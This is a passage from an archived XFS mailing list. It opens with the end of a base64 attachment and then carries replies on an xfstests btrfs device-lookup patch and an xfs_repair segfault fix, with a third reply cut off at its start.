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 pRvTC77xq7+L2+gP/f/8QMQ9ewBABwA= ------=_NextPart_000_1B4E_01CEA9D2.8DCAFD80-- From david@fromorbit.com Wed Sep 4 18:24:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96B267F69 for ; Wed, 4 Sep 2013 18:24:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 863F28F8033 for ; Wed, 4 Sep 2013 16:24:17 -0700 (PDT) X-ASG-Debug-ID: 1378337055-04cbb02c3ad4ce80001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id acWnlColdPTxWUTd for ; Wed, 04 Sep 2013 16:24:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApcNALa/J1J5LJ62/2dsb2JhbABbgwc1gxCqTAOOfoU6gSgXdIIkAQEFOhQIIxAIAxgJJQ8FHQgDIQgLHQSHYA26MxaPSgeEHQOXdIEwkDeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 08:54:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHMQm-0008HC-9I; Thu, 05 Sep 2013 09:24:12 +1000 Date: Thu, 5 Sep 2013 09:24:12 +1000 From: Dave Chinner To: Jeff Mahoney Cc: Linux FS Maling List , linux-btrfs , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: fix device lookup in btrfs/003 Message-ID: <20130904232412.GM23571@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix device lookup in btrfs/003 References: <52266055.9050004@suse.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52266055.9050004@suse.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378337055 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140349 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Add xfs@oss.sgi.com to the cc list. On Tue, Sep 03, 2013 at 06:19:01PM -0400, Jeff Mahoney wrote: > The DEVHTL lookup in btrfs/003 is broken. It can only handle full LUNs and > not partitions on a disk. > > Rather than returning 2:0:0:0 for /dev/sdc7, it returns 'block' and we see: > ./common/rc: line 2081: /sys/class/scsi_device/block/device/delete: > No such file or directory > > If we look up the device by dev instead of by name, we can handle working > with full disks and partitions more easily and get the ability to use > any device name rather than just the ones that match sysfs. > > Signed-off-by: Jeff Mahoney > --- > tests/btrfs/003 | 18 +++++++++++++++--- > 1 file changed, 15 insertions(+), 3 deletions(-) > > --- a/tests/btrfs/003 > +++ b/tests/btrfs/003 > @@ -137,9 +137,21 @@ _test_replace() > #pick the 2nd last disk > ds=${devs[@]:$(($n-1)):1} > > - # retrive the HTL for this scsi disk > - d=`echo $ds|cut -d"/" -f3` > - DEVHTL=`ls -l /sys/class/block/${d} | rev | cut -d "/" -f 3 | rev` > + HEXMAJOR="$(stat -c "%t" "$ds")" > + HEXMINOR="$(stat -c "%T" "$ds")" > + if [ -z "$HEXMAJOR" -o -z "$HEXMINOR" ]; then > + _fail "tr: HEXMAJOR and/or HEXMINOR is unset for $ds" > + fi > + > + DIR="/sys/dev/block/$(( 0x$HEXMAJOR )):$(( 0x$HEXMINOR ))" > + > + if [ -L "$DIR/device" ]; then # whole disk > + DEVHTL="$(basename $(readlink "$DIR/device"))" > + elif [ -L "$DIR/../device" ]; then # partition > + DEVHTL="$(basename $(readlink "$DIR/../device"))" > + else > + _fail "tr: Can't locate device backing $ds" > + fi > > #fail disk > _devmgt_remove ${DEVHTL} > > -- > Jeff Mahoney > SUSE Labs > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Wed Sep 4 18:35:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ACBA07F69 for ; Wed, 4 Sep 2013 18:35:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 98E09304066 for ; Wed, 4 Sep 2013 16:35:29 -0700 (PDT) X-ASG-Debug-ID: 1378337728-04cbb02c3ad4d350001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id SrdhHKI4lw0tye3z for ; Wed, 04 Sep 2013 16:35:28 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9474F6855A3B; Wed, 4 Sep 2013 18:34:02 -0500 (CDT) Message-ID: <5227C32E.1040805@sandeen.net> Date: Wed, 04 Sep 2013 18:33:02 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 54/55] repair: fix segv on directory block read failure References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-55-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 54/55] repair: fix segv on directory block read failure In-Reply-To: <1378332359-14737-55-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378337728 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140349 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/4/13 5:05 PM, Dave Chinner wrote: > From: Dave Chinner > > We try to read all blocks in the directory, but if we have a block > form directory we only have one block and so we need to fail if > there is a read error. Otherwise we try to derefence a null buffer > pointer. > > While fixing the error handling for a read failure, fix the bug that > caused the read failure - trying to verify a block format buffer > with the data format buffer verifier. > > Signed-off-by: Dave Chinner I independently hit this, and had a similar but crummier fix. ;) (and missed the root cause, because the fs I ran it on was so corrupt, there was no element of surprise) Reviewed-by: Eric Sandeen > --- > repair/phase6.c | 24 +++++++++++++++++++++--- > 1 file changed, 21 insertions(+), 3 deletions(-) > > diff --git a/repair/phase6.c b/repair/phase6.c > index 2a523ca..a4ad7a3 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -2064,7 +2064,7 @@ longform_dir2_entry_check(xfs_mount_t *mp, > int isleaf; > xfs_fileoff_t next_da_bno; > int seeval; > - int fixit; > + int fixit = 0; > xfs_dir2_db_t db; > > *need_dot = 1; > @@ -2091,6 +2091,8 @@ longform_dir2_entry_check(xfs_mount_t *mp, > for (da_bno = 0, next_da_bno = 0; > next_da_bno != NULLFILEOFF && da_bno < mp->m_dirleafblk; > da_bno = (xfs_dablk_t)next_da_bno) { > + const struct xfs_buf_ops *ops; > + > next_da_bno = da_bno + mp->m_dirblkfsbs - 1; > if (bmap_next_offset(NULL, ip, &next_da_bno, XFS_DATA_FORK)) > break; > @@ -2104,13 +2106,28 @@ longform_dir2_entry_check(xfs_mount_t *mp, > _("realloc failed in longform_dir2_entry_check (%zu bytes)\n"), > num_bps * sizeof(struct xfs_buf*)); > } > + > + if (isblock) > + ops = &xfs_dir3_block_buf_ops; > + else > + ops = &xfs_dir3_data_buf_ops; > if (libxfs_da_read_buf(NULL, ip, da_bno, -1, &bplist[db], > - XFS_DATA_FORK, &xfs_dir3_data_buf_ops)) { > + XFS_DATA_FORK, ops)) { > do_warn( > _("can't read data block %u for directory inode %" PRIu64 "\n"), > da_bno, ino); > *num_illegal += 1; > - continue; /* try and read all "data" blocks */ > + > + /* > + * we try to read all "data" blocks, but if we are in > + * block form and we fail, there isn't anything else to > + * read, and nothing we can do but trash it. > + */ > + if (isblock) { > + fixit++; > + goto out_fix; > + } > + continue; > } > longform_dir2_entry_check_data(mp, ip, num_illegal, need_dot, > irec, ino_offset, &bplist[db], hashtab, > @@ -2141,6 +2158,7 @@ longform_dir2_entry_check(xfs_mount_t *mp, > freetab); > } > } > +out_fix: > if (!no_modify && (fixit || dotdot_update)) { > dir_hash_dup_names(hashtab); > for (i = 0; i < freetab->naents; i++) > From david@fromorbit.com Wed Sep 4 19:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 294FA7F58 for ; Wed, 4 Sep 2013 19:36:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6442AC003 for ; Wed, 4 Sep 2013 17:36:26 -0700 (PDT) X-ASG-Debug-ID: 1378341384-04cb6c2e9dd5c220001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id gmSGvtC9Hxc6GEGR for ; Wed, 04 Sep 2013 17:36:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAIDRJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG6NRaPSgeEHQOXdIowhzeBY4FPKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 10:06:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHNYb-0008Pl-SB; Thu, 05 Sep 2013 10:36:21 +1000 Date: Thu, 5 Sep 2013 10:36:21 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers Message-ID: <20130905003621.GO23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 01/11] xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-2-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-2-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378341384 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140350 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:24:58PM -0400, Brian 